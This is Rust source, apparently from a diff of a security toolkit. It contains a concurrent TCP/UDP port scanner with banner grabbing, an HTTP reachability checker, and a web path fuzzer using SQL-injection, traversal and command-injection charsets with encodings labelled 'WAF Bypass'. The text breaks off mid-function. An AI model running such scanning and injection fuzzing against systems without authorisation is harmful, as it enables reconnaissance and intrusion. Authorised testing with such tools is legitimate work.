println!("{}", "\n[*] Starting TCP scan...".yellow());
for port in &ports {
let permit = semaphore.clone().acquire_owned().await?;
let file = file.clone();
let stats = stats.clone();
let progress = progress.clone();
let ip = resolved_ip;
let ip_str = resolved_ip_str.clone();
let port = *port;
let handle = tokio::spawn(async move {
let _permit = permit;
let result = scan_tcp(&ip, port, timeout_secs, ttl, source_port, data_length).await;
let mut stats_guard = stats.lock().unwrap_or_else(|e| e.into_inner());
let mut progress_guard = progress.lock().unwrap_or_else(|e| e.into_inner());
if let Some((status, banner, service)) = result {
match status.as_str() {
"OPEN" => {
stats_guard.tcp_open += 1;
let service_name = if service.is_empty() { get_service_name(port) } else { &service };
let line = format!("[TCP] {}:{} ({}) => {}", ip_str, port, service_name, status.green());
if !show_only_open {
let _ = writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "{}", line);
}
let output_line = if !banner.is_empty() {
format!("{} | Banner: {}", line, banner.trim().bright_black())
} else {
line
};
let _ = writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "{}", output_line);
println!("{}", output_line);
}
"CLOSED" => stats_guard.tcp_closed += 1,
"TIMEOUT" | "FILTERED" => stats_guard.tcp_filtered += 1,
_ => {}
}
}
progress_guard.increment(&start_time);
if progress_guard.should_print() {
progress_guard.print_progress();
}
});
tcp_tasks.push(handle);
}
}
// UDP Scan
let mut udp_tasks = vec![];
if scan_method == ScanMethod::Udp || scan_method == ScanMethod::Both {
println!("{}", "\n[*] Starting UDP scan...".yellow());
for port in &ports {
let permit = semaphore.clone().acquire_owned().await?;
let file = file.clone();
let stats = stats.clone();
let progress = progress.clone();
let ip = resolved_ip;
let ip_str = resolved_ip_str.clone();
let port = *port;
let handle = tokio::spawn(async move {
let _permit = permit;
let result = scan_udp(&ip, port, timeout_secs, ttl, source_port, data_length).await;
let mut stats_guard = stats.lock().unwrap_or_else(|e| e.into_inner());
let mut progress_guard = progress.lock().unwrap_or_else(|e| e.into_inner());
if let Some(status) = result {
match status.as_str() {
"OPEN" => {
stats_guard.udp_open += 1;
let service_name = get_service_name(port);
let line = format!("[UDP] {}:{} ({}) => {}", ip_str, port, service_name, status.green());
if !show_only_open {
let _ = writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "{}", line);
}
let _ = writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "{}", line);
println!("{}", line);
}
"CLOSED" => stats_guard.udp_closed += 1,
"FILTERED" => stats_guard.udp_filtered += 1,
_ => {}
}
}
progress_guard.increment(&start_time);
if progress_guard.should_print() {
progress_guard.print_progress();
}
});
udp_tasks.push(handle);
}
}
// Await all tasks
for task in tcp_tasks {
let _ = task.await;
}
for task in udp_tasks {
let _ = task.await;
}
let elapsed = start_time.elapsed();
let stats = stats.lock().unwrap_or_else(|e| e.into_inner());
// Print summary
println!("\n{}", "=== Scan Summary ===".cyan().bold());
println!("{}", format!("Scan duration: {:.2} seconds", elapsed.as_secs_f64()).green());
println!("\n{}", "TCP Ports:".yellow());
println!(" {} Open: {}", "".green(), stats.tcp_open.to_string().green().bold());
println!(" {} Closed: {}", "".red(), stats.tcp_closed);
println!(" {} Filtered/Timeout: {}", "~".yellow(), stats.tcp_filtered);
if scan_method == ScanMethod::Udp || scan_method == ScanMethod::Both {
println!("\n{}", "UDP Ports:".yellow());
println!(" {} Open: {}", "".green(), stats.udp_open.to_string().green().bold());
println!(" {} Closed: {}", "".red(), stats.udp_closed);
println!(" {} Filtered: {}", "~".yellow(), stats.udp_filtered);
}
println!("\n{}", format!("[*] Results saved to {}", output_file).cyan());
// Write summary to file
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "\n=== Scan Summary ===")?;
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "Scan duration: {:.2} seconds", elapsed.as_secs_f64())?;
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "\nTCP Ports:")?;
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), " Open: {}", stats.tcp_open)?;
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), " Closed: {}", stats.tcp_closed)?;
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), " Filtered/Timeout: {}", stats.tcp_filtered)?;
if scan_method == ScanMethod::Udp || scan_method == ScanMethod::Both {
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "\nUDP Ports:")?;
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), " Open: {}", stats.udp_open)?;
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), " Closed: {}", stats.udp_closed)?;
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), " Filtered: {}", stats.udp_filtered)?;
}
Ok(())
}
/// === TCP Port Scanner with Enhanced Banner Grabbing ===
async fn scan_tcp(
ip: &std::net::IpAddr,
port: u16,
timeout_secs: u64,
ttl: Option<u32>,
source_port: Option<u16>,
data_length: Option<usize>
) -> Option<(String, String, String)> {
let addr = SocketAddr::new(*ip, port);
// Create socket using socket2
let domain = if addr.is_ipv4() { Domain::IPV4 } else { Domain::IPV6 };
let socket = match Socket::new(domain, Type::STREAM, Some(Protocol::TCP)) {
Ok(s) => s,
Err(_) => return Some(("ERROR".into(), "".into(), "".into())),
};
// Set options
if let Some(ttl_val) = ttl {
if domain == Domain::IPV4 {
let _ = socket.set_ttl_v4(ttl_val);
} else {
let _ = socket.set_unicast_hops_v6(ttl_val);
}
}
let _ = socket.set_nonblocking(true);
let _ = socket.set_tcp_nodelay(true);
// Bind to custom source port if configured
if let Some(src_port) = source_port {
let bind_addr = if addr.is_ipv4() {
SocketAddr::new(std::net::IpAddr::V4(std::net::Ipv4Addr::new(0, 0, 0, 0)), src_port)
} else {
SocketAddr::new(std::net::IpAddr::V6(std::net::Ipv6Addr::new(0, 0, 0, 0, 0, 0, 0, 0)), src_port)
};
let _ = socket.bind(&bind_addr.into());
}
// Connect (non-blocking)
let connect_res = socket.connect(&addr.into());
match connect_res {
Ok(_) => {},
Err(e) if e.kind() == std::io::ErrorKind::WouldBlock => {},
Err(_) => return Some(("CLOSED".into(), "".into(), "".into())),
}
// Convert to Tokio TcpStream
let std_stream: std::net::TcpStream = socket.into();
let stream_res = TcpStream::from_std(std_stream);
match stream_res {
Ok(mut stream) => {
// Wait for connection to complete
if let Ok(_) = timeout(Duration::from_secs(timeout_secs), stream.writable()).await {
// Check for socket error
if let Ok(None) = stream.take_error() {
// Send garbage data if configured
if let Some(len) = data_length {
if len > 0 {
let payload: Vec<u8> = {
let mut rng = rng();
(0..len).map(|_| rng.random()).collect()
};
let _ = stream.write_all(&payload).await;
}
}
// Try service-specific probes
let (banner, service) = grab_banner(&mut stream, port).await;
Some(("OPEN".into(), banner, service))
} else {
Some(("CLOSED".into(), "".into(), "".into()))
}
} else {
Some(("TIMEOUT".into(), "".into(), "".into()))
}
}
Err(_) => Some(("CLOSED".into(), "".into(), "".into())),
}
}
/// Enhanced banner grabbing with service-specific probes
async fn grab_banner(stream: &mut TcpStream, port: u16) -> (String, String) {
let mut buf = [0u8; 2048];
// Try to read initial banner (works for FTP, SMTP, POP3, etc.)
match timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 => {
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
let service = detect_service_from_banner(&banner, port);
return (banner, service);
}
_ => {}
}
// Service-specific probes
match port {
80 | 8080 => {
// HTTP probe
if let Ok(_) = stream.write_all(b"GET / HTTP/1.1\r\nHost: localhost\r\n\r\n").await {
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
if n > 0 {
let response = String::from_utf8_lossy(&buf[..n]);
if let Some(server) = extract_http_server(&response) {
return (response.trim().to_string(), format!("HTTP ({})", server));
}
return (response.trim().to_string(), "HTTP".into());
}
}
}
}
443 => {
// HTTPS - can't easily probe without TLS, just return empty
return ("".into(), "HTTPS".into());
}
22 => {
// SSH - read SSH banner
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
if n > 0 {
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
return (banner, "SSH".into());
}
}
}
_ => {
// Try reading again for other services
if let Ok(Ok(n)) = timeout(Duration::from_secs(1), stream.read(&mut buf)).await {
if n > 0 {
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
let service = detect_service_from_banner(&banner, port);
return (banner, service);
}
}
}
}
("".into(), "".into())
}
fn detect_service_from_banner(banner: &str, port: u16) -> String {
let banner_lower = banner.to_lowercase();
if banner_lower.contains("ssh") {
"SSH".into()
} else if banner_lower.contains("ftp") {
"FTP".into()
} else if banner_lower.contains("smtp") {
"SMTP".into()
} else if banner_lower.contains("pop3") {
"POP3".into()
} else if banner_lower.contains("imap") {
"IMAP".into()
} else if banner_lower.contains("http") {
"HTTP".into()
} else if banner_lower.contains("mysql") {
"MySQL".into()
} else {
get_service_name(port).to_string()
}
}
fn extract_http_server(response: &str) -> Option<String> {
for line in response.lines() {
if line.to_lowercase().starts_with("server:") {
return Some(line.split(':').nth(1).unwrap_or("").trim().to_string());
}
}
None
}
/// === UDP Port Scanner ===
async fn scan_udp(
ip: &std::net::IpAddr,
port: u16,
timeout_secs: u64,
ttl: Option<u32>,
source_port: Option<u16>,
data_length: Option<usize>
) -> Option<String> {
// Bind address (source port logic)
let bind_port = source_port.unwrap_or(0);
let bind_addr = if ip.is_ipv4() {
SocketAddr::new(std::net::IpAddr::V4(std::net::Ipv4Addr::new(0, 0, 0, 0)), bind_port)
} else {
SocketAddr::new(std::net::IpAddr::V6(std::net::Ipv6Addr::new(0, 0, 0, 0, 0, 0, 0, 0)), bind_port)
};
let sock = match UdpSocket::bind(bind_addr).await {
Ok(s) => s,
Err(_) => return Some("ERROR".into()),
};
// Set TTL if configured
if let Some(ttl_val) = ttl {
let _ = sock.set_ttl(ttl_val);
}
let target = SocketAddr::new(*ip, port);
// Payload generation
let payload = if let Some(len) = data_length {
if len > 0 {
let mut rng = rng();
(0..len).map(|_| rng.random()).collect()
} else {
b"\x00\x00\x10\x10".to_vec()
}
} else {
b"\x00\x00\x10\x10".to_vec()
};
let _ = sock.send_to(&payload, target).await;
let mut buf = [0u8; 512];
match timeout(Duration::from_secs(timeout_secs), sock.recv_from(&mut buf)).await {
Ok(Ok((_len, _src))) => Some("OPEN".into()),
Ok(Err(_)) => Some("CLOSED".into()),
Err(_) => Some("FILTERED".into()),
}
}
/// === Target Resolution ===
fn resolve_target(input: &str) -> Result<(String, std::net::IpAddr)> {
let cleaned = input.trim().trim_start_matches('[').trim_end_matches(']');
let addrs: Vec<_> = (cleaned, 0).to_socket_addrs()?.collect();
if let Some(addr) = addrs.iter().find(|a| a.is_ipv4()) {
Ok((addr.ip().to_string(), addr.ip()))
} else if let Some(addr) = addrs.first() {
Ok((addr.ip().to_string(), addr.ip()))
} else {
Err(anyhow!("Could not resolve target '{}'", input))
}
}
/// === Prompt Utilities ===
fn prompt(message: &str) -> Result<String> {
print!("{}", message.cyan().bold());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut buf = String::new();
std::io::stdin()
.read_line(&mut buf)
.context("Failed to read input")?;
Ok(buf.trim().to_string())
}
fn prompt_bool(message: &str) -> Result<bool> {
loop {
let input = prompt(message)?;
if input.is_empty() {
return Ok(false);
}
match input.to_lowercase().as_str() {
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("{}", "Please enter 'y' or 'n'.".yellow()),
}
}
}
fn prompt_usize(message: &str) -> Result<usize> {
loop {
let input = prompt(message)?;
if input.is_empty() {
return Err(anyhow!("Input required"));
}
if let Ok(n) = input.parse::<usize>() {
return Ok(n);
}
println!("{}", "Please enter a valid number.".yellow());
}
}
/// === Scan Statistics ===
struct ScanStats {
tcp_open: usize,
tcp_closed: usize,
tcp_filtered: usize,
udp_open: usize,
udp_closed: usize,
udp_filtered: usize,
}
impl ScanStats {
fn new() -> Self {
ScanStats {
tcp_open: 0,
tcp_closed: 0,
tcp_filtered: 0,
udp_open: 0,
udp_closed: 0,
udp_filtered: 0,
}
}
}
/// === Progress Tracker ===
struct ProgressTracker {
total: usize,
current: usize,
last_print: usize,
start_time: Option<Instant>,
}
impl ProgressTracker {
fn new(total: usize) -> Self {
ProgressTracker {
total,
current: 0,
last_print: 0,
start_time: None,
}
}
fn increment(&mut self, start_time: &Instant) {
if self.start_time.is_none() {
self.start_time = Some(*start_time);
}
self.current += 1;
}
fn should_print(&self) -> bool {
let diff = self.current - self.last_print;
diff >= 100 || self.current == self.total
}
fn print_progress(&mut self) {
if self.current == 0 {
return;
}
let percentage = (self.current as f64 / self.total as f64) * 100.0;
let elapsed = match self.start_time {
Some(s) => s.elapsed(),
None => std::time::Duration::ZERO,
};
let rate = if elapsed.as_secs() > 0 {
self.current as f64 / elapsed.as_secs() as f64
} else {
0.0
};
let remaining = if rate > 0.0 {
(self.total - self.current) as f64 / rate
} else {
0.0
};
print!("\r{}", format!(
"[*] Progress: {}/{} ({:.1}%) | Rate: {:.0} ports/sec | ETA: {:.0}s",
self.current,
self.total,
percentage,
rate,
remaining
).cyan());
// Note: This is in a sync context (ProgressTracker), so we use blocking flush
// The ProgressTracker is called from async context but uses sync printing
let _ = std::io::Write::flush(&mut std::io::stdout());
if self.current == self.total {
println!();
}
self.last_print = self.current;
}
}
-215
View File
@@ -1,215 +0,0 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use reqwest::Client;
use std::fs::File;
use std::io::Write;
use std::time::{Duration, Instant};
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ HTTP Connectivity Scanner ║".cyan());
println!("{}", "║ Checks HTTP/HTTPS reachability and response codes ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
let timeout_secs = prompt_timeout()?;
let check_http = prompt_bool("Check HTTP (port 80)?", true)?;
let check_https = prompt_bool("Check HTTPS (port 443)?", true)?;
let verbose = prompt_bool("Verbose output?", false)?;
let save_results = prompt_bool("Save results to file?", false)?;
if !check_http && !check_https {
return Err(anyhow!("At least one protocol must be selected"));
}
let client = Client::builder()
.timeout(Duration::from_secs(timeout_secs))
.danger_accept_invalid_certs(true)
.build()
.context("Failed to build HTTP client")?;
let mut results = Vec::new();
let start = Instant::now();
println!();
println!("{}", "[*] Starting scan...".cyan().bold());
// Check HTTP
if check_http {
let url = if target.contains("://") {
target.to_string()
} else {
format!("http://{}", target)
};
if verbose {
println!("{}", format!("[*] Checking {}...", url).dimmed());
}
match client.get(&url).send().await {
Ok(resp) => {
let status = resp.status();
let status_str = status.to_string();
let content_type = resp.headers()
.get("content-type")
.map(|v| v.to_str().unwrap_or("unknown"))
.unwrap_or("unknown");
let server = resp.headers()
.get("server")
.map(|v| v.to_str().unwrap_or("unknown"))
.unwrap_or("unknown");
if status.is_success() {
println!("{}", format!("[+] HTTP {} -> {} (Server: {}, Content-Type: {})",
url, status_str, server, content_type).green());
} else if status.is_redirection() {
let location = resp.headers()
.get("location")
.map(|v| v.to_str().unwrap_or("unknown"))
.unwrap_or("unknown");
println!("{}", format!("[~] HTTP {} -> {} (Redirect: {})", url, status_str, location).yellow());
} else {
println!("{}", format!("[-] HTTP {} -> {}", url, status_str).red());
}
results.push(format!("HTTP {} -> {} (Server: {})", url, status_str, server));
}
Err(e) => {
println!("{}", format!("[-] HTTP {} -> Error: {}", url, e).red());
results.push(format!("HTTP {} -> Error: {}", url, e));
}
}
}
// Check HTTPS
if check_https {
let url = if target.contains("://") {
target.replace("http://", "https://")
} else {
format!("https://{}", target)
};
if verbose {
println!("{}", format!("[*] Checking {}...", url).dimmed());
}
match client.get(&url).send().await {
Ok(resp) => {
let status = resp.status();
let status_str = status.to_string();
let server = resp.headers()
.get("server")
.map(|v| v.to_str().unwrap_or("unknown"))
.unwrap_or("unknown");
let content_type = resp.headers()
.get("content-type")
.map(|v| v.to_str().unwrap_or("unknown"))
.unwrap_or("unknown");
if status.is_success() {
println!("{}", format!("[+] HTTPS {} -> {} (Server: {}, Content-Type: {})",
url, status_str, server, content_type).green());
} else if status.is_redirection() {
let location = resp.headers()
.get("location")
.map(|v| v.to_str().unwrap_or("unknown"))
.unwrap_or("unknown");
println!("{}", format!("[~] HTTPS {} -> {} (Redirect: {})", url, status_str, location).yellow());
} else {
println!("{}", format!("[-] HTTPS {} -> {}", url, status_str).red());
}
results.push(format!("HTTPS {} -> {} (Server: {})", url, status_str, server));
}
Err(e) => {
println!("{}", format!("[-] HTTPS {} -> Error: {}", url, e).red());
results.push(format!("HTTPS {} -> Error: {}", url, e));
}
}
}
let elapsed = start.elapsed();
// Print summary
println!();
println!("{}", "=== Scan Summary ===".bold());
println!(" Target: {}", target);
println!(" Duration: {:.2}s", elapsed.as_secs_f64());
println!(" Checks: {}", results.len());
// Save results
if save_results && !results.is_empty() {
let filename = prompt_with_default("Output filename", "http_scan_results.txt")?;
let mut file = File::create(&filename).context("Failed to create output file")?;
writeln!(file, "HTTP Connectivity Scan Results")?;
writeln!(file, "Target: {}", target)?;
writeln!(file, "Duration: {:.2}s", elapsed.as_secs_f64())?;
writeln!(file)?;
for result in &results {
writeln!(file, "{}", result)?;
}
println!("{}", format!("[+] Results saved to '{}'", filename).green());
}
Ok(())
}
fn prompt_bool(message: &str, default: bool) -> Result<bool> {
let hint = if default { "Y/n" } else { "y/N" };
print!("{}", format!("{} [{}]: ", message, hint).cyan().bold());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read input")?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => Ok(default),
"y" | "yes" => Ok(true),
"n" | "no" => Ok(false),
_ => Ok(default),
}
}
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", message, default).cyan().bold());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
fn prompt_timeout() -> Result<u64> {
print!("{}", "Timeout in seconds [10]: ".cyan().bold());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(10)
} else {
trimmed.parse().map_err(|_| anyhow!("Invalid timeout"))
}
}
-555
View File
@@ -1,555 +0,0 @@
use anyhow::{Result, Context};
use colored::*;
use reqwest::{Client, header};
use serde::{Deserialize, Serialize};
use std::collections::HashMap;
use std::fs::{self, OpenOptions};
use std::io::Write;
use std::fmt::Write as FmtWrite; // Rename to avoid conflict with io::Write
use std::sync::Arc;
use std::time::Duration;
use tokio::sync::{mpsc, Semaphore};
use crate::utils::{
prompt_required, prompt_default, prompt_yes_no, normalize_target, prompt_existing_file
};
use base64::{Engine as _, engine::general_purpose};
use rand::seq::IndexedRandom;
// --- Enums & Config ---
#[derive(Serialize, Deserialize, Debug, Clone, Copy, PartialEq)]
pub enum EncodingType {
None,
Url,
DoubleUrl,
Hex,
Unicode,
HtmlEntity,
Decimal,
Octal,
Base64,
Mixed,
}
#[derive(Serialize, Deserialize, Debug, Clone)]
pub struct SequentialFuzzerConfig {
pub target_url: String,
pub charset_mode: u8, // 1=SQL, 2=Traversal, 3=Cmd, 4=All, 5=Custom
pub custom_charset: Option<String>,
pub min_length: usize,
pub max_length: usize,
pub encoding: EncodingType,
pub concurrency: usize,
pub cookies: Option<String>,
pub verbose: bool,
}
impl Default for SequentialFuzzerConfig {
fn default() -> Self {
Self {
target_url: String::new(),
charset_mode: 4,
custom_charset: None,
min_length: 1,
max_length: 3,
encoding: EncodingType::None,
concurrency: 50,
cookies: None,
verbose: false,
}
}
}
struct FuzzResult {
path: String,
status: u16,
size: u64,
}
// --- Charsets ---
const CHARSET_SQL: &str = "'\";-/*=";
const CHARSET_TRAVERSAL: &str = "./\\";
const CHARSET_CMD: &str = "|;&$()<> '\"";
const CHARSET_ALL: &str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()-_=+[]{};:'\",.<>/?|`~";
fn get_charset(config: &SequentialFuzzerConfig) -> Vec<char> {
match config.charset_mode {
1 => CHARSET_SQL.chars().collect(),
2 => CHARSET_TRAVERSAL.chars().collect(),
3 => CHARSET_CMD.chars().collect(),
5 => config.custom_charset.as_deref().unwrap_or("").chars().collect(),
_ => CHARSET_ALL.chars().collect(),
}
}
// --- Encoding Logic ---
fn encode_payload(input: &str, encoding: EncodingType) -> String {
match encoding {
EncodingType::None => input.to_string(),
EncodingType::Url => urlencoding::encode(input).to_string(),
EncodingType::DoubleUrl => urlencoding::encode(&urlencoding::encode(input).to_string()).to_string(),
EncodingType::Hex => {
input.chars().map(|c| format!("\\x{:02X}", c as u8)).collect()
},
EncodingType::Unicode => {
input.chars().map(|c| format!("\\u00{:02X}", c as u8)).collect()
},
EncodingType::HtmlEntity => {
input.chars().map(|c| {
match c {
'"' => "&quot;".to_string(),
'\'' => "&apos;".to_string(),
'<' => "&lt;".to_string(),
'>' => "&gt;".to_string(),
'&' => "&amp;".to_string(),
_ => c.to_string()
}
}).collect()
},
EncodingType::Decimal => {
input.chars().map(|c| format!("&#{};", c as u8)).collect()
},
EncodingType::Octal => {
input.chars().map(|c| format!("\\{:03o}", c as u8)).collect()
},
EncodingType::Base64 => {
general_purpose::STANDARD.encode(input)
},
EncodingType::Mixed => {
// Randomly apply an encoding per character (simplified: raw or url or hex)
let mut rng = rand::rng();
input.chars().map(|c| {
match [0, 1, 2].choose(&mut rng).unwrap_or(&0) {
0 => c.to_string(),
1 => format!("%{:02X}", c as u8),
_ => format!("\\x{:02X}", c as u8),
}
}).collect()
}
}
}
// --- Main Entry ---
pub async fn run(target: &str) -> Result<()> {
print_banner();
// Menu
println!("{}", "Select Operation Mode:".cyan().bold());
println!("1. Quick Attack (All ASCII, No Encoding)");
println!("2. Create Template (Wizard -> Save)");
println!("3. Load Template (Load -> Run)");
println!("4. Custom Attack (Wizard -> Run)");
let choice = prompt_default("Selection", "1")?;
let config = match choice.as_str() {
"1" => setup_quick_attack(target).await?,
"2" => {
let cfg = setup_wizard(target).await?;
save_template(&cfg).await?;
println!("\n{}", "Template saved. Exiting module.".green());
return Ok(());
},
"3" => load_template().await?,
"4" => setup_wizard(target).await?,
_ => {
println!("{}", "Invalid selection. Defaulting to Quick Attack.".yellow());
setup_quick_attack(target).await?
}
};
execute_fuzz(config).await
}
fn print_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Sequential Fuzzer (Brute Force) ║".cyan());
println!("{}", "║ Features: Actor Storage, 10 Encodings, Instant Saving ║".red());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
// --- Setup ---
async fn setup_quick_attack(initial_target: &str) -> Result<SequentialFuzzerConfig> {
println!("\n{}", "--- Quick Attack Setup ---".blue().bold());
let url = parse_target_interactive(initial_target).await?;
// Forced Input for Reliability
let min_len_str = prompt_required("Min Sequence Length (e.g. 1)")?;
let min_len: usize = min_len_str.parse().unwrap_or(1);
let max_len_str = prompt_required("Max Sequence Length (e.g. 3)")?;
let max_len: usize = max_len_str.parse().unwrap_or(3);
let verbose = prompt_yes_no("Verbose Mode? (Print all 403s)", false)?;
Ok(SequentialFuzzerConfig {
target_url: url,
charset_mode: 4, // All
min_length: min_len,
max_length: max_len,
encoding: EncodingType::None,
concurrency: 50,
verbose,
..SequentialFuzzerConfig::default()
})
}
async fn setup_wizard(initial_target: &str) -> Result<SequentialFuzzerConfig> {
println!("\n{}", "--- Configuration Wizard ---".blue().bold());
// 1. Target
let url = parse_target_interactive(initial_target).await?;
// 2. Charset
println!("\n{}", "Select Charset:".cyan());
println!("1. SQL Injection ({})", CHARSET_SQL);
println!("2. Path Traversal ({})", CHARSET_TRAVERSAL);
println!("3. Command Injection ({})", CHARSET_CMD);
println!("4. All Printable ASCII (Standard Brute)");
println!("5. Custom");
let c_mode_str = prompt_required("Charset Selection (1-5)")?;
let c_mode: u8 = c_mode_str.parse().unwrap_or(4);
let custom = if c_mode == 5 {
Some(prompt_required("Custom Charset String")?)
} else {
None
};
// 3. Lengths
// Using prompt_required to prevent skipping issues with buffered inputs
let min_len_str = prompt_required("Min Sequence Length (e.g. 1)")?;
let min_len: usize = min_len_str.parse().unwrap_or(1);
let max_len_str = prompt_required("Max Sequence Length (e.g. 3)")?;
let max_len: usize = max_len_str.parse().unwrap_or(3);
if max_len > 4 && c_mode == 4 {
println!("{}", "[!] Warning: Brute forcing printable ASCII > 4 chars will take a VERY long time.".yellow());
}
// 4. Encoding
println!("\n{}", "Select Encoding (WAF Bypass):".cyan());
println!("0. None (Raw)");
println!("1. URL Encode (%XX)");
println!("2. Double URL Encode (%25XX)");
println!("3. Hex Encode (\\xXX)");
println!("4. Unicode (\\u00XX)");
println!("5. HTML Entity (&quot;)");
println!("6. Decimal (&#DDD;)");
println!("7. Octal (\\OOO)");
println!("8. Base64");
println!("9. Mixed/Random");
let enc_choice_str = prompt_required("Encoding Selection (0-9)")?;
let enc_choice: u8 = enc_choice_str.parse().unwrap_or(0);
let encoding = match enc_choice {
1 => EncodingType::Url,
2 => EncodingType::DoubleUrl,
3 => EncodingType::Hex,
4 => EncodingType::Unicode,
5 => EncodingType::HtmlEntity,
6 => EncodingType::Decimal,
7 => EncodingType::Octal,
8 => EncodingType::Base64,
9 => EncodingType::Mixed,
_ => EncodingType::None,
};
// 5. Config
let concurrency_str = prompt_required("Concurrency (Threads)")?;
let concurrency: usize = concurrency_str.parse().unwrap_or(50);
let cookies = if prompt_yes_no("Add Cookies?", false)? {
Some(prompt_required("Cookie Header Value")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose Mode? (Print all 403s)", false)?;
Ok(SequentialFuzzerConfig {
target_url: url,
charset_mode: c_mode,
custom_charset: custom,
min_length: min_len,
max_length: max_len,
encoding,
concurrency,
cookies,
verbose,
})
}
async fn parse_target_interactive(raw: &str) -> Result<String> {
let base = if raw.is_empty() {
normalize_target(&prompt_required("Target URL")?)?
} else {
normalize_target(raw)?
};
// Ensure protocol
let url = if !base.starts_with("http") {
format!("http://{}", base)
} else {
base
};
// Ensure trailing slash
if !url.ends_with('/') {
println!("{}", format!("[*] Current Target: {}", url).cyan());
if prompt_yes_no("Target does not end with '/'. Append it?", true)? {
Ok(format!("{}/", url))
} else {
Ok(url)
}
} else {
Ok(url)
}
}
// --- Persistence ---
async fn save_template(config: &SequentialFuzzerConfig) -> Result<()> {
let name = prompt_default("Template Name", "fuzz_template.json")?;
let json = serde_json::to_string_pretty(config)?;
fs::write(&name, json).context("Failed to write template")?;
println!("Saved to {}", name);
Ok(())
}
async fn load_template() -> Result<SequentialFuzzerConfig> {
let path = prompt_existing_file("Template File")?;
let content = fs::read_to_string(&path)?;
let config: SequentialFuzzerConfig = serde_json::from_str(&content).context("Invalid JSON")?;
println!("{}", "Loaded Config.".green());
Ok(config)
}
// --- Execution Engine ---
enum WriterMessage {
Result(FuzzResult),
Stop,
}
async fn execute_fuzz(config: SequentialFuzzerConfig) -> Result<()> {
// 1. Prepare Output Dir
let timestamp = chrono::Local::now().format("%Y%m%d_%H%M%S").to_string();
let out_dir = format!("scans/fuzz_{}", timestamp);
fs::create_dir_all(&out_dir).context("Failed to create output dir")?;
println!("Output Directory: {}", out_dir.cyan());
// 2. Spawn Writer Actor
let (tx, mut rx) = mpsc::channel::<WriterMessage>(1000);
let writer_dir = out_dir.clone();
let verbose = config.verbose;
// We cannot move the JoinHandle out easily if we await it later, but we can spawn it.
// We need to await it at the end.
let writer_handle = tokio::spawn(async move {
let mut buffer: HashMap<u16, Vec<FuzzResult>> = HashMap::new();
// We don't keep file handles open to avoid limits, we append-open each time.
while let Some(msg) = rx.recv().await {
match msg {
WriterMessage::Result(res) => {
// 1. Instant Save
let file_path = format!("{}/raw_{}.txt", writer_dir, res.status);
let line = format!("[Size: {}] {}\n", res.size, res.path);
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&file_path) {
let _ = file.write_all(line.as_bytes());
}
// 2. Print Control (Real-time Output)
let status = res.status;
let should_print = if status == 403 && !verbose {
false
} else {
true
};
if should_print {
let status_display = if status >= 200 && status < 300 {
format!("{} {}", "[FOUND]".green().bold(), status.to_string().green())
} else if status >= 300 && status < 400 {
format!("{} {}", "[REDIR]".blue().bold(), status.to_string().blue())
} else if status >= 500 {
format!("{} {}", "[ERROR]".red().bold(), status.to_string().red())
} else if status == 403 || status == 401 {
format!("{} {}", "[AUTH]".yellow().bold(), status.to_string().yellow())
} else {
format!("[{}]", status).white().to_string()
};
println!("{} Size: {} | {}",
status_display,
res.size.to_string().dimmed(),
res.path
);
}
// 3. Buffer
buffer.entry(res.status).or_default().push(res);
},
WriterMessage::Stop => break,
}
}
buffer
});
// 3. Engine Setup
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(10))
.build()?;
let charset = get_charset(&config);
let sem = Arc::new(Semaphore::new(config.concurrency));
println!("{}", "Starting Fuzzer... Press Ctrl+C to abort (not handled cleanly)".yellow());
// 4. Generator Loop
// Memory Fix: Do not store JoinHandles in a Vec.
// Instead, we rely on the semaphore to track active tasks.
// We iterate lengths
for len in config.min_length..=config.max_length {
spawn_combinations_iterative(
&client,
&config,
&charset,
len,
&sem,
&tx
).await;
}
// 5. Wait for all tasks to finish
